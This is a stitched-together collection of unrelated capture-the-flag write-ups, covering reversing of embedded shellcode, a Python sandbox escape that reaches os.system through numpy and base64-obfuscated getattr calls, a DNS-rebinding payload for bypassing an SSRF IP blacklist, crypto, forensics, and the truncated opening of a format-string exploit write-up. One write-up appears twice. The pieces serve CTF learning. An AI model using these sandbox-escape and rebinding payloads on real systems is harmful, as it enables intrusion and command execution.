What stood out to me immediately was the lines here: ```c __dest = (code *)mmap((void *)0x0,0x82,7,0x22,-1,0); if (__dest == (code *)0xffffffffffffffff) { perror("mmap"); /* WARNING: Subroutine does not return */ exit(1); }```
I knew this immediately could be useful because it was a function pointer being called in an if statement. This is something that `I have used` when creating challenges.
This trick I learned from the book[Programming Anti-Revsersing Techniques](https://leanpub.com/anti-reverse-engineering-linux) by Jacob Baines. I highly recommend reading it.
Moving on, since we cannot read directly what that function pointer is doing, I decided to pull up our good ol' friend GDB and to debug it.
There is just one catch to this...we can't set a breakpoint at code. So like any other good reverser, I took a look at how `code` was being called, and see if the data has anythignginteresting.```$ gdb-peda added_protection
Reading symbols from added_protection...(No debugging symbols found in added_protection)
gdb-peda$ b *main+299Breakpoint 1 at 0x12a0
gdb-peda$ r
Starting program: /home/mwittner/Documents/ctf-writeups/downunder-ctf/rev/added_protection/added_protection size of code: 130[----------------------------------registers-----------------------------------]RAX: 0x0 RBX: 0x5555555552b0 (<__libc_csu_init>: push r15)RCX: 0x7ffff7ed98b6 (<__GI___mmap64+38>: cmp rax,0xfffffffffffff000)RDX: 0x7ffff7ffb000 --> 0x49e1894864ec8348 RSI: 0x555555558060 --> 0x49e1894864ec8348 RDI: 0x7ffff7ffb000 --> 0x49e1894864ec8348 RBP: 0x7fffffffde70 --> 0x0 RSP: 0x7fffffffde30 --> 0x7fffffffdf68 --> 0x7fffffffe289 ("/home/mwittner/Documents/ctf-writeups/downunder-ctf/rev/added_protection/added_protection")RIP: 0x5555555552a0 (<main+299>: call rdx)R8 : 0xffffffff R9 : 0x0 R10: 0x55555555446c --> 0x73007970636d656d ('memcpy')R11: 0x7ffff7f4c4e0 (<__memmove_avx_unaligned_erms>: endbr64)R12: 0x555555555090 (<_start>: xor ebp,ebp)R13: 0x7fffffffdf60 --> 0x1 R14: 0x0 R15: 0x0EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x555555555293 <main+286>: mov QWORD PTR [rbp-0x20],rax 0x555555555297 <main+290>: mov rdx,QWORD PTR [rbp-0x20] 0x55555555529b <main+294>: mov eax,0x0=> 0x5555555552a0 <main+299>: call rdx 0x5555555552a2 <main+301>: mov eax,0x0 0x5555555552a7 <main+306>: leave 0x5555555552a8 <main+307>: ret 0x5555555552a9: nop DWORD PTR [rax+0x0]No argument[------------------------------------stack-------------------------------------]0000| 0x7fffffffde30 --> 0x7fffffffdf68 --> 0x7fffffffe289 ("/home/mwittner/Documents/ctf-writeups/downunder-ctf/rev/added_protection/added_protection")0008| 0x7fffffffde38 --> 0x1555552f5 0016| 0x7fffffffde40 --> 0x7ffff7faefc8 --> 0x0 0024| 0x7fffffffde48 --> 0x5555555580e0 --> 0x820000050f 0032| 0x7fffffffde50 --> 0x7ffff7ffb000 --> 0x49e1894864ec8348 0040| 0x7fffffffde58 --> 0x7ffff7ffb000 --> 0x49e1894864ec8348 0048| 0x7fffffffde60 --> 0x82 0056| 0x7fffffffde68 --> 0x41 ('A')[------------------------------------------------------------------------------]Legend: code, data, rodata, value
Breakpoint 1, 0x00005555555552a0 in main ()
gdb-peda$ x/40xi $rdx 0x7ffff7ffb000: sub rsp,0x64 0x7ffff7ffb004: mov rcx,rsp 0x7ffff7ffb007: movabs r8,0x64617b4654435544 0x7ffff7ffb011: movabs r9,0x6e456465636e3476 0x7ffff7ffb01b: movabs r10,0x5364337470797263 0x7ffff7ffb025: movabs r11,0x65646f436c6c6568 0x7ffff7ffb02f: movabs r12,0x662075206e61437d 0x7ffff7ffb039: movabs r13,0x2065687420646e69 0x7ffff7ffb043: movabs r14,0x2020203f67616c66 0x7ffff7ffb04d: mov r15d,0xa 0x7ffff7ffb053: push r15 0x7ffff7ffb055: push r14 0x7ffff7ffb057: push r13 0x7ffff7ffb059: push r12 0x7ffff7ffb05b: push r11 0x7ffff7ffb05d: push r10 0x7ffff7ffb05f: push r9 0x7ffff7ffb061: push r8 0x7ffff7ffb063: mov eax,0x1 0x7ffff7ffb068: mov edi,0x1 0x7ffff7ffb06d: lea rsi,[rcx-0x1f] 0x7ffff7ffb071: mov edx,0x3a 0x7ffff7ffb076: syscall 0x7ffff7ffb078: xor rbx,rbx 0x7ffff7ffb07b: mov eax,0x3c 0x7ffff7ffb080: syscall 0x7ffff7ffb082: add BYTE PTR [rax],al 0x7ffff7ffb084: add BYTE PTR [rax],al 0x7ffff7ffb086: add BYTE PTR [rax],al 0x7ffff7ffb088: add BYTE PTR [rax],al 0x7ffff7ffb08a: add BYTE PTR [rax],al 0x7ffff7ffb08c: add BYTE PTR [rax],al 0x7ffff7ffb08e: add BYTE PTR [rax],al 0x7ffff7ffb090: add BYTE PTR [rax],al 0x7ffff7ffb092: add BYTE PTR [rax],al 0x7ffff7ffb094: add BYTE PTR [rax],al 0x7ffff7ffb096: add BYTE PTR [rax],al 0x7ffff7ffb098: add BYTE PTR [rax],al 0x7ffff7ffb09a: add BYTE PTR [rax],al 0x7ffff7ffb09c: add BYTE PTR [rax],algdb-peda$ ```Hmm These look interesting
``` 0x7ffff7ffb007: movabs r8,0x64617b4654435544 0x7ffff7ffb011: movabs r9,0x6e456465636e3476 0x7ffff7ffb01b: movabs r10,0x5364337470797263 0x7ffff7ffb025: movabs r11,0x65646f436c6c6568 0x7ffff7ffb02f: movabs r12,0x662075206e61437d 0x7ffff7ffb039: movabs r13,0x2065687420646e69 0x7ffff7ffb043: movabs r14,0x2020203f67616c66```Lets see what's in them:
Line 1) `da{FTCUD`
This seemed reversed, lets unreverse it.
Line 1) `DUCTF{ad`
If we continue, we get the full flag: `DUCTF{adv4ncedEncrypt3dShellCode}` |
```Welcome to reversing! Prove your worth and get the flag from this neat little program!``` The file given is a bunch of numbers. Translate the numbers into binary and then into assembly code using [cyberchef](https://gchq.github.io/CyberChef/#recipe=From_Decimal(%27Comma%27,false)To_Hex(%27Space%27,0)Disassemble_x86(%2764%27,%27Full%20x86%20architecture%27,16,0,true,true)&input=ODUsNzIsMTM3LDIyOSw3MiwxMzEsMjM2LDI0LDcyLDE5OSw2OSwyNDgsNzksMCwwLDAsNzIsMTg0LDIxLDc5LDIzMSw3NSwxLDAsMCwwLDcyLDEzNyw2OSwyNDAsNzIsMTk5LDY5LDIzMiw0LDAsMCwwLDcyLDE5OSw2OSwyMjQsMywwLDAsMCw3MiwxOTksNjksMjE2LDE5LDAsMCwwLDcyLDE5OSw2OSwyMDgsMjEsMSwwLDAsNzIsMTg0LDk3LDkxLDEwMCw3NSwyMDcsMTE5LDAsMCw3MiwxMzcsNjksMjAwLDcyLDE5OSw2OSwxOTIsMiwwLDAsMCw3MiwxOTksNjksMTg0LDE3LDAsMCwwLDcyLDE5OSw2OSwxNzYsMTkzLDMzLDAsMCw3MiwxOTksNjksMTY4LDIzMywxMDEsMzQsMjQsNzIsMTk5LDY5LDE2MCw1MSw4LDAsMCw3MiwxOTksNjksMTUyLDE3MSwxMCwwLDAsNzIsMTk5LDY5LDE0NCwxNzMsMTcwLDE0MSwwLDcyLDEzOSw2OSwyNDgsNzIsMTUsMTc1LDY5LDI0MCw3MiwxMzcsNjksMTM2LDcyLDEzOSw2OSwyMzIsNzIsMTUsMTc1LDY5LDIyNCw3MiwxNSwxNzUsNjksMjE2LDcyLDE1LDE3NSw2OSwyMDgsNzIsMTUsMTc1LDY5LDIwMCw3MiwxMzcsNjksMTI4LDcyLDEzOSw2OSwxOTIsNzIsMTUsMTc1LDY5LDE4NCw3MiwxNSwxNzUsNjksMTc2LDcyLDE1LDE3NSw2OSwxNjgsNzIsMTM3LDEzMywxMjAsMjU1LDI1NSwyNTUsNzIsMTM5LDY5LDE2MCw3MiwxNSwxNzUsNjksMTUyLDcyLDE1LDE3NSw2OSwxNDQsNzIsMTM3LDEzMywxMTIsMjU1LDI1NSwyNTUsMTg0LDAsMCwwLDAsMjAxCg). This yields: ```00 55 PUSH RBP01 4889E5 MOV RBP,RSP04 4883EC18 SUB RSP,1808 48C745F84F000000 MOV QWORD PTR [RBP-08],0000004F10 48B8154FE74B01000000 MOV RAX,000000014BE74F151A 488945F0 MOV QWORD PTR [RBP-10],RAX1E 48C745E804000000 MOV QWORD PTR [RBP-18],0000000426 48C745E003000000 MOV QWORD PTR [RBP-20],000000032E 48C745D813000000 MOV QWORD PTR [RBP-28],0000001336 48C745D015010000 MOV QWORD PTR [RBP-30],000001153E 48B8615B644BCF770000 MOV RAX,000077CF4B645B6148 488945C8 MOV QWORD PTR [RBP-38],RAX4C 48C745C002000000 MOV QWORD PTR [RBP-40],0000000254 48C745B811000000 MOV QWORD PTR [RBP-48],000000115C 48C745B0C1210000 MOV QWORD PTR [RBP-50],000021C164 48C745A8E9652218 MOV QWORD PTR [RBP-58],182265E96C 48C745A033080000 MOV QWORD PTR [RBP-60],0000083374 48C74598AB0A0000 MOV QWORD PTR [RBP-68],00000AAB7C 48C74590ADAA8D00 MOV QWORD PTR [RBP-70],008DAAAD84 488B45F8 MOV RAX,QWORD PTR [RBP-08]88 480FAF45F0 IMUL RAX,QWORD PTR [RBP-10]8D 48894588 MOV QWORD PTR [RBP-78],RAX91 488B45E8 MOV RAX,QWORD PTR [RBP-18]95 480FAF45E0 IMUL RAX,QWORD PTR [RBP-20]9A 480FAF45D8 IMUL RAX,QWORD PTR [RBP-28]9F 480FAF45D0 IMUL RAX,QWORD PTR [RBP-30]A4 480FAF45C8 IMUL RAX,QWORD PTR [RBP-38]A9 48894580 MOV QWORD PTR [RBP-80],RAXAD 488B45C0 MOV RAX,QWORD PTR [RBP-40]B1 480FAF45B8 IMUL RAX,QWORD PTR [RBP-48]B6 480FAF45B0 IMUL RAX,QWORD PTR [RBP-50]BB 480FAF45A8 IMUL RAX,QWORD PTR [RBP-58]C0 48898578FFFFFF MOV QWORD PTR [RBP-00000088],RAXC7 488B45A0 MOV RAX,QWORD PTR [RBP-60]CB 480FAF4598 IMUL RAX,QWORD PTR [RBP-68]D0 480FAF4590 IMUL RAX,QWORD PTR [RBP-70]D5 48898570FFFFFF MOV QWORD PTR [RBP-00000090],RAXDC B800000000 MOV EAX,00000000E1 C9 LEAVE``` This program creates a bunch of variables through multiplying large numbers. ```08 48C745F84F000000 MOV QWORD PTR [RBP-08],0000004F ;var8 = 0x4F10 48B8154FE74B01000000 MOV RAX,000000014BE74F15 ;RAX = 0x000000014BE74F151A 488945F0 MOV QWORD PTR [RBP-10],RAX ;var10 = 0x000000014BE74F15 Note that these addresses are in hex, 1E 48C745E804000000 MOV QWORD PTR [RBP-18],00000004 ;var18 = 0x4 so it increases by 8 each time.26 48C745E003000000 MOV QWORD PTR [RBP-20],00000003 ;var20 = 0x32E 48C745D813000000 MOV QWORD PTR [RBP-28],00000013 ;var28 = 0x1336 48C745D015010000 MOV QWORD PTR [RBP-30],00000115 ;var30 = 0x1153E 48B8615B644BCF770000 MOV RAX,000077CF4B645B61 ;RAX = 000077CF4B645B6148 488945C8 MOV QWORD PTR [RBP-38],RAX ;var38 = RAX4C 48C745C002000000 MOV QWORD PTR [RBP-40],00000002 ;var40 = 0x254 48C745B811000000 MOV QWORD PTR [RBP-48],00000011 ;var48 = 0x115C 48C745B0C1210000 MOV QWORD PTR [RBP-50],000021C1 ;var50 = 0x21C164 48C745A8E9652218 MOV QWORD PTR [RBP-58],182265E9 ;var58 = 0x182265E96C 48C745A033080000 MOV QWORD PTR [RBP-60],00000833 ;var60 = 0x83374 48C74598AB0A0000 MOV QWORD PTR [RBP-68],00000AAB ;var68 = 0xAAB7C 48C74590ADAA8D00 MOV QWORD PTR [RBP-70],008DAAAD ;var70 = 0x8DAAAD84 488B45F8 MOV RAX,QWORD PTR [RBP-08] ;RAX = 0x4F88 480FAF45F0 IMUL RAX,QWORD PTR [RBP-10] ;RAX *= var108D 48894588 MOV QWORD PTR [RBP-78],RAX ;var78 = RAX91 488B45E8 MOV RAX,QWORD PTR [RBP-18] ;RAX = var1895 480FAF45E0 IMUL RAX,QWORD PTR [RBP-20]9A 480FAF45D8 IMUL RAX,QWORD PTR [RBP-28]9F 480FAF45D0 IMUL RAX,QWORD PTR [RBP-30]A4 480FAF45C8 IMUL RAX,QWORD PTR [RBP-38] ;RAX *= var20 * var28 * var30 * var38 A9 48894580 MOV QWORD PTR [RBP-80],RAX ;var80 = RAXAD 488B45C0 MOV RAX,QWORD PTR [RBP-40] ;RAX = var40B1 480FAF45B8 IMUL RAX,QWORD PTR [RBP-48]B6 480FAF45B0 IMUL RAX,QWORD PTR [RBP-50]BB 480FAF45A8 IMUL RAX,QWORD PTR [RBP-58] ;RAX *= var48 * var50 * var58C0 48898578FFFFFF MOV QWORD PTR [RBP-88],RAX ;var88 = RAXC7 488B45A0 MOV RAX,QWORD PTR [RBP-60] ;RAX = var60CB 480FAF4598 IMUL RAX,QWORD PTR [RBP-68]D0 480FAF4590 IMUL RAX,QWORD PTR [RBP-70] ;RAX *= var68 * var70D5 48898570FFFFFF MOV QWORD PTR [RBP-90],RAX ;var90 = RAXDC B800000000 MOV EAX,00000000E1 C9 LEAVE``` If we take the values of all four variables and [convert them into ASCII](https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')&input=MHg2NjZjNjE2NzdiCjB4NzM3NTcwMzM3MjVmNzYzNAoweDZjMzE2NDVmNzA3MgoweDMwNjc3MjM0NmQ3ZCc), we get the flag.```var78 = 0x666c61677bvar80 = 0x73757033725f7634var88 = 0x6c31645f7072var90 = 0x306772346d7d``` Flag: `flag{sup3r_v4l1d_pr0gr4m}` |
# Slithery
## Problem description
Setting up a new coding environment for my data science students. Some of themare l33t h4ck3rs that got RCE and crashed my machine a few times :(. Can youhelp test this before I use it for my class? Two sandboxes should be betterthan one...
```nc pwn.chal.csaw.io 5011```
[sandbox.py](https://ctf.csaw.io/files/f273beef210bb77ed37ab74d82cb9799/sandbox.py?token=eyJ1c2VyX2lkIjo1MzYzLCJ0ZWFtX2lkIjo1MzI3LCJmaWxlX2lkIjo3NDMwfQ.X14Svg.zXKY8HMMgjM64swHwOaCZeUN5aE)
Category: pwn. Points: 100.
### sandbox.py```#!/usr/bin/env python3from base64 import b64decodeimport blacklist # you don't get to see this :p
"""Don't worry, if you break out of this one, we have another one underneath so that you won'twreak any havoc!"""
def main(): print("EduPy 3.8.2") while True: try: command = input(">>> ") if any([x in command for x in blacklist.BLACKLIST]): raise Exception("not allowed!!")
final_cmd = """uOaoBPLLRN = open("sandbox.py", "r")uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8)ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ")AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU]bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU]uOaoBPLLRN.close()HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))\n""" + command exec(final_cmd)
except (KeyboardInterrupt, EOFError): return 0 except Exception as e: print(f"Exception: {e}")
if __name__ == "__main__": exit(main())```
## Personal noteFirst time solving a pwn challenge. It was fun to do a python challenge,and I also learned some new things about the python language.
## Tools* python3 interpreter
## Solving the challengeThis is a coding environment that accepts python commands. However, there isa blacklist, meaning a lot of our input will not be accepted. We need to getaround the blacklist to execute the commands that will let us read the flag.
This would be the naive approach (without the blacklist):```>>> import os>>> # List files in current directory, hopefully the flag is there>>> os.system("ls")>>> # Assuming the flag is located in flag.txt>>> os.system("cat flag.txt") # Output file content```
Connecting via netcat: `nc pwn.chal.csaw.io 5011`
```EduPy 3.8.2>>> import osException: not allowed!!>>> importException: not allowed!!>>> osException: not allowed!!>>> systemException: not allowed!!```
Thus, we can not import modules the traditional way, and the words "os" and "system"are blacklisted. So we need to find another way to get the flag. Examining sandbox.pygives us some hints. We have access to the script variables from the coding environment,but the easiest way to examine how the code works (without being bothered bythe blacklist) is to paste it into our own python3 interpreter:
```>>> uOaoBPLLRN = open("sandbox.py", "r")>>> uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8)>>> ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ")>>> AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU]>>> bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU]>>> uOaoBPLLRN.close()>>> HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)>>> RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))
# Examining variables>>> print(AAnBLJqtRv)base64>>> print(bAfGdqzzpg)b64decode>>> print(HrjYMvtxwA)<function b64decode at 0x7f2dfcadf2f0>>>> print(RMbPOQHCzt)<module 'numpy' from PATH+'/__init__.py'>```
Now we know we can b64decode strings using the HrjYMvtxwA variable. This couldbe a way to circumvent the blacklist.
Maybe we can put code into b64encoded strings, b64decode the strings,and then run the decoded strings with either eval or exec?
Checking the coding environment:```EduPy 3.8.2>>> evalException: not allowed!!>>> execException: not allowed!!```
Seems eval or exec will not work. However, we also have access to the numpy module.We can examine the numpy module further in our own python3 interpreter:```>>> print(RMbPOQHCzt.__dict__)```
This module has a lot of attributes. For instance, I noticed that the sysmodule is exposed through the numpy module.```>>> print(RMbPOQHCzt.sys)<module 'sys' (built-in)>```
So let's see if the os module is also exposed:```>>> print(RMbPOQHCzt.os)<module 'os' from PATH+'os.py'>```
This looks really promising. However, we still have the problem that we can not accessthe os attribute directly from the coding environment, since the word "os" is blacklisted.To get around this restriction, we can first b64encode the word, and then b64decode it.The problem then is that we will only have access to "os" as a string.It is not possible to get an attribute using a string when using dot notation.
```>>> print(RMbPOQHCzt."os") File "<stdin>", line 1 >>> print(RMbPOQHCzt."os") ^SyntaxError: invalid syntax```
Actually, sandbox.py uses an alternative approach to access base64.b64decode:```HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)```
Let's find out more:```>>> help(getattr)
Help on built-in function getattr in module builtins:
getattr(...) getattr(object, name[, default]) -> value
Get a named attribute from an object; getattr(x, 'y') is equivalent to x.y.```
Using `getattr`, it should be possible to access the os attribute through "os" as a string.
Let's craft our solution in our own interpreter before trying it in the coding environment:```>>> base64.b64encode(b'os')b'b3M='>>> base64.b64encode(b'system')b'c3lzdGVt'>>> o = getattr(RMbPOQHCzt, HrjYMvtxwA(b'b3M=').decode('utf-8'))>>> getattr(o, HrjYMvtxwA(b'c3lzdGVt').decode('utf-8'))("ls") # Equivalent to os.system("ls")>>> getattr(o, HrjYMvtxwA(b'c3lzdGVt').decode('utf-8'))("cat flag.txt") # Assuming flag is in flag.txt
```
Connecting to the coding environment:```$ nc pwn.chal.csaw.io 5011EduPy 3.8.2>>> o = getattr(RMbPOQHCzt, HrjYMvtxwA(b'b3M=').decode('utf-8'))>>> getattr(o, HrjYMvtxwA(b'c3lzdGVt').decode('utf-8'))("ls") blacklist.pyflag.txtrunner.pysandbox.pysolver.py>>>>>> getattr(o, HrjYMvtxwA(b'c3lzdGVt').decode('utf-8'))("cat flag.txt")flag{y4_sl1th3r3d_0ut}```
Finally, we obtain the flag: \`flag{y4_sl1th3r3d_0ut}` |
This challenge need DNS rebinding to bypass IP blacklist.
DNS rebinding tool: [https://lock.cmpxchg8b.com/rebinder.html](http://)
Payload: [http://01010101.7f000001.rbndr.us/admin-status](http://)
> Flag: TWCTF{17_15_h4rd_70_55rf_m17164710n_47_4pp_l4y3r:(} |
****DUCTF****
***Formating (Reversing)***I opened this binary in gdb and keep an eye over the values which pushed into the stack.And got the flag in hex format.(Decode it into String)
***shellthis (PWn)***In this binary we have to just redirect the code execution.Fristly, I calculated the EIP offset (after how many bytes I overflowed the buffer).Then, Using the Pwntools I ma able to find the address of get_shell function.Finally run the shellthis.py over the remote server of duc.tf
***rot-i (Crypto)***As a hint We already know first 6 letter are 'DUCTF{'.So, I calculated the jump for first letter to become D it is (21).For 2nd letter it is (20), for next letter it is (19) and so on.....I observed the pattern, And wrote a script to decrypt the cipher.
****Thank You**** |
# Leggos
Category: Web
Challenge Description:

After visiting the web page and trying viewing the source using normal ctrl+u keyboard shortcut it was blocked.

But with Developer Tools we can view the source and the flag is in one of the javascript files.

flag: DUCTF{n0_k37chup_ju57_54uc3_r4w_54uc3_9873984579843} |
We are given the output of the following script.
```pyfrom Crypto.Util.number import bytes_to_long, isPrimefrom secret import flag, p
def encrypt(m, k, p): return pow(m, 1 << k, p)
assert flag.startswith("TWCTF{")assert len(flag) == 42assert isPrime(p)
k = 64pt = bytes_to_long(flag.encode())ct = encrypt(pt, k, p)
with open("output.txt", "w") as f: f.write(str(ct) + "\n") f.write(str(p) + "\n")```
output.txt:```56022764300328750072495096443143572933197559126037376310448029893146830394734691516006436748319156766775625047434134349402808199154708521121379379634967709236749445146571233707598589136387827673809451114933178282357411603914070426899910075898048779191051239608372537055961646189065540153829233433118651021111606722156186149423473586056936189163112345526308304739592548269432948561498704906497631759731744824085311511299618196491816929603296108414569727189748975204102209646335725406551943711581704258725226874414399572244863268492324353927787818836752142254189928999592648333789131233670456465647924867060170327150559233```
We know that the flag $m$ satisfies the congruence $m^e = c \mod p$ for $e=e^{64}$.We can easily compute an $e$-th root of $c$ using sage, but it is not unique.
```pyR = GF(p)(c).nth_root(2^64)```
It holds that two $e$-th roots are equal up to a root of unity:Let $R, R'$ be two $e$-th roots of $c$ and $\alpha = R/R'$.Then $\alpha^e = R^e/{R'}^e = c/c = 1$.
This gives us an idea to solve the challenge:Iterate over all $e$-th roots of unity $\alpha$ and check if $\alpha R$ is the flag (i.e., contains `TWCTF{`).
How many roots of unity are there and how can we compute them?Let $g$ be a generator of $\mathbb Z_p^*$ ($g=3$ works).Let $\alpha = g^a$ an $e$-th root of unity.Therefore, $\alpha^e = 1$ or equivalently $ae = 0 \mod (p-1)$.Hence, $(p-1) \mid a\cdot 2^{64}$.Equivalently, $a$ must be a multiple of $(p-1)/2^{30}$, since $2^{30}$ is the largest power of $2$ that divides $p-1$.
Therefore, we can iterate all $e$-th roots of $c$ by repeatedly multiplying $R$ with $3^{(p-1)/2^{30}}$.
```pyfrom multiprocessing import Process, Queuefrom Crypto.Util.number import long_to_bytes
R = 1948865039294009691576181380771672389220382961994854292305692557649261763833149884145614983319207887860531232498119502026176334583810204964826290882842308810728384018930976243008464049012096415817825074466275128141940107121005470692979995184344972514864128534992403176506223940852066206954491827309484962494271
q = Queue()def search(start, n, notify=0x10000): a = (p-1)//2**30 r0 = pow(3, a, p) b = R * pow(3, a*start, p) for i in range(n): flag = long_to_bytes(b) if b"TWCTF{" in flag: print(flag) if i % notify == 0: q.put(notify) b = r0 * b % p
N = 16chunk_size = 2**30//Nprocs = []for i in range(0, 2**30, chunk_size): proc = Process(target=search, args=(i, chunk_size)) proc.start() procs.append(proc)cnt = 0while 1: cnt += q.get() print(f"{cnt/2**30}")``` |
****DUCTF****
***Formating (Reversing)***I opened this binary in gdb and keep an eye over the values which pushed into the stack.And got the flag in hex format.(Decode it into String)
***shellthis (PWn)***In this binary we have to just redirect the code execution.Fristly, I calculated the EIP offset (after how many bytes I overflowed the buffer).Then, Using the Pwntools I ma able to find the address of get_shell function.Finally run the shellthis.py over the remote server of duc.tf
***rot-i (Crypto)***As a hint We already know first 6 letter are 'DUCTF{'.So, I calculated the jump for first letter to become D it is (21).For 2nd letter it is (20), for next letter it is (19) and so on.....I observed the pattern, And wrote a script to decrypt the cipher.
****Thank You**** |
# Solution after unziping the `firefox.zip` file I got a firefox profiles data so i started viewing the `sqlite` dbs u can read more about it here [firefox Forensics](https://resources.infosecinstitute.com/firefox-and-sqlite-forensics/) so i started with `places.sqlite` to see the history and i noticed that there is links to [cyberchef](https://gchq.github.io/CyberChef/)which are ```https://gchq.github.io/CyberChef/https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,13)https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,13)https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,14)https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,12)https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,11)https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,11)To_Hex('Space',0)https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,11)To_Hex('Space',0)&input=ZDc1Mzc1MzQ2NGY1MzNmNDEzNTM5NTEzZjU5NTMzZjRmNDEzMzVmNTI1NDM3NTE1Yjc5NWE1ZTQ1NDQ0MDUzNAhttps://gchq.github.io/CyberChef/#recipe=ROT13(true,true,11)To_Hex('None',0)&input=ZDc1Mzc1MzQ2NGY1MzNmNDEzNTM5NTEzZjU5NTMzZjRmNDEzMzVmNTI1NDM3NTE1Yjc5NWE1ZTQ1NDQ0MDUzNAhttps://gchq.github.io/CyberChef/#recipe=ROT13(true,true,11)To_Hex('None',0)Reverse('Character')&input=ZDc1Mzc1MzQ2NGY1MzNmNDEzNTM5NTEzZjU5NTMzZjRmNDEzMzVmNTI1NDM3NTE1Yjc5NWE1ZTQ1NDQ0MDUzNA```so the operations were :* reverse* from hex* rot 13
after viewing them i applied the operations on the hash so i got this `https://gchq.github.io/CyberChef/#recipe=Reverse('Character')From_Hex('Auto')ROT13(true,true,15)&input=ZDc1Mzc1MzQ2NGY1MzNmNDEzNTM5NTEzZjU5NTMzZjRmNDEzMzVmNTI1NDM3NTE1Yjc5NWE1ZTQ1NDQ0MDUzNA`
# flag`RESTCON{FL4G_H1DD3N_1N51D3_URL5}` |
At the end of the assembler dump, you would notice a `memcpy`, to which the `code` address is passed.
``` 0x000055555555527c <+263>: mov rax,QWORD PTR [rbp-0x18] 0x0000555555555280 <+267>: lea rsi,[rip+0x2dd9] # 0x555555558060 0x0000555555555287 <+274>: mov rdi,rax 0x000055555555528a <+277>: call 0x555555555050 <memcpy@plt> 0x000055555555528f <+282>: mov rax,QWORD PTR [rbp-0x18] 0x0000555555555293 <+286>: mov QWORD PTR [rbp-0x20],rax 0x0000555555555297 <+290>: mov rdx,QWORD PTR [rbp-0x20] 0x000055555555529b <+294>: mov eax,0x0 0x00005555555552a0 <+299>: call rdx 0x00005555555552a2 <+301>: mov eax,0x0 0x00005555555552a7 <+306>: leave 0x00005555555552a8 <+307>: ret ```
Set a break point at the `memcpy` and run the program. Then read the `code` variable.
```b *0x000055555555528arx/s 0x5555555580600x555555558060 : "H\203\354dH\211\341I\270DUCTF{adI\271v4ncedEnI\272crypt3dSI\273hellCodeI\274}Can u fI\275ind the I\276flag? A\277\n"```
You'd see a part of the flag inthe string: `DUCTF{adI\271v4ncedEnI\272crypt3dSI\273hellCodeI\274}` Now, we can clean this up a bit.
```py >>> x = 'DUCTF{adI\271v4ncedEnI\272crypt3dSI\273hellCodeI\274}'>>> print(''.join([i for i in x if i.isalpha() or i in ['{', '}']]))DUCTF{adIvncedEnIºcryptdSIhellCodeI}```
You can just read the flag from here. `DUCTF{advancedEncryptedShellCode}` |
Санити чек был в канале соревнования в телеграме. На этом все. Были участники, решившие более хардовые задачи, но не решившие санити чек - мне нечего сказать... |
# TokyoWesterns CTF 6th 2020
## nothing more to say 2020
> 111> > Enjoy!> > [`nothing`](nothing) > [`nothing.c`](nothing.c)> > `nc pwn02.chal.ctf.westerns.tokyo 18247`
Tags: _pwn_ _x86-64_ _remote-shell_ _rop_ _format-string_
## Summary
Basic format-string leak and exploit.
## Analysis
### Just run it
```Hello CTF Players!This is a warmup challenge for pwnable.Do you know about Format String Attack(FSA) and write the exploit code?Please pwn me!>```_Spoiler Alert!_
Well, if you know how to Google, you can solve this challenge a number of different ways.
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments```
No mitigations in place. However, _we're not going to take advantage of any of this--not necessary._
> Well, _I am_ going to use the _No PIE_ for a single ROP gadget.
### Source included
```c// gcc -fno-stack-protector -no-pie -z execstack#include <stdio.h>#include <stdlib.h>#include <unistd.h>
void init_proc() { setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL);}
void read_string(char* buf, size_t length) { ssize_t n; n = read(STDIN_FILENO, buf, length); if (n == -1) exit(1); buf[n] = '\0';}
int main(void) { char buf[0x100]; init_proc(); printf("Hello CTF Players!\nThis is a warmup challenge for pwnable.\nDo you know about Format String Attack(FSA) and write the exploit code?\nPlease pwn me!\n"); while (1) { printf("> "); read_string(buf, 0x100); if (buf[0] == 'q') break; printf(buf); } return 0;}```
`printf(buf)` is the vulnerability, and since looped, we can abuse it as many times as necessary. We will however need to know the version of libc for the exploit I have in mind (to get a hint just: `strings nothing | grep GCC`):
```GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0```
Next, from within a Ubuntu 18.04 container, find the format-string offset and look at the stack:
```gef➤ b *main+101Breakpoint 1 at 0x4007bagef➤ runStarting program: /pwd/datajerk/twctf2020/nothing_more_to_say_2020/nothingHello CTF Players!This is a warmup challenge for pwnable.Do you know about Format String Attack(FSA) and write the exploit code?Please pwn me!> %6$p0xa70243625```
Above, set a break point to get the stack while in `main`, and also try `%n$p` where `n > 0` until the output (in little endian) hex matches the input. In this case it's `6`, and that will be the offset.
The stack:
